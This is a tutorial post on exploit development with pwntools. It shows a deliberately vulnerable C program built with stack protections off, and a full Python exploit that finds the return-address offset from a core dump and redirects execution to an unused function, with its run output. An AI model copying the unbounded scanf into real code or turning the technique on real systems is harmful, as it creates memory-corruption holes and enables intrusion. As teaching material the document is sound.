Use pwntools for your exploits
Pwntools is a Python library and has all tools you need to improve your skills of exploit development.
The target
The following C code is a simple code with buffer overflow in the 64bit Intel platform. The compilation command disables stack canary and PIE(Position Independent Executable).
// gcc -fno-stack-protector -no-pie -o vuln vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
void never_invoke(){
puts("I will be never invoked :(");
}
int vuln_func()
{
char buffer[30];
int m = 3;
scanf("%s", buffer); // vulnerable scanf
return 0;
}
int main(int argc, char* argv[])
{
vuln_func();
return 0;
}
This is a Makefile
used to compile vuln.c
.
SRC:=vuln.c
BIN:=$(subst .c,, $(SRC))
.PHONY: all
all: $(BIN)
@echo "You can use ./poc.py to test vuln"
$(BIN): $(SRC)
gcc -g -fno-stack-protector -no-pie -o $(BIN) $(SRC)
clean:
rm -rf $(BIN)
rm -rf core*
The exploit
First, import pwn tools;
from pwn import *
Then we define a context for the target with the API ELF()
and process
to interact with the target process:
binary_path = "./vuln"
elf = ELF(binary_path)
p = process(elf.path)
Now let’s find out the ret address and modify it with the starting address of never_invoke
.
Next, we send a very large input with a specific pattern to the target process and expect one crash. This will generate a core dump that pwntools can analyze to retrieve the offset with the subpattern on the stack region when the crash occurred:
def find_rip_offset(io):
io.clean()
io.sendline(cyclic(0x50))
io.wait()
core = io.corefile
stack = core.rsp
info("rsp = %#x", stack)
pattern = core.read(stack, 4)
info("cyclic pattern = %s", pattern.decode())
rip_offset = cyclic_find(pattern)
info("rip offset is = %d", rip_offset)
return rip_offset
offset = find_rip_offset(p)
Next, we craft the following payload and send it to the target process:
padding to the saved IP and never_invoke address
The binary file is not stripped, pwntools will fetch ELF symbols and craft the payload more easily:
padding = b"A" * offset
info("never_invoke %#x", elf.symbols.never_invoke)
retaddr = p64(elf.symbols.never_invoke)
payload = b"".join([padding, retaddr])
Finally, we can send the payload and retrive the response:
def print_lines(io):
info("printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break
p = process(elf.path)
p.sendline(payload)
print_lines(p)
$ ./poc.py
[*] '/home/mudongliang/test_pwn/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/mudongliang/test_pwn/vuln': pid 1971333
[*] Process '/home/mudongliang/test_pwn/vuln' stopped with exit code -11 (SIGSEGV) (pid 1971333)
[+] Parsing corefile...: Done
[*] '/home/mudongliang/test_pwn/core.1971333'
Arch: amd64-64-little
RIP: 0x40119e
RSP: 0x7ffc45ee4e38
Exe: '/home/mudongliang/test_pwn/vuln' (0x400000)
Fault: 0x616161706161616f
[*] rsp = 0x7ffc45ee4e38
[*] cyclic pattern = oaaa
[*] rip offset is = 56
[*] never_invoke 0x401156
[+] Starting local process '/home/mudongliang/test_pwn/vuln': pid 1971338
[*] printing io received lines
[+] I will be never invoked :(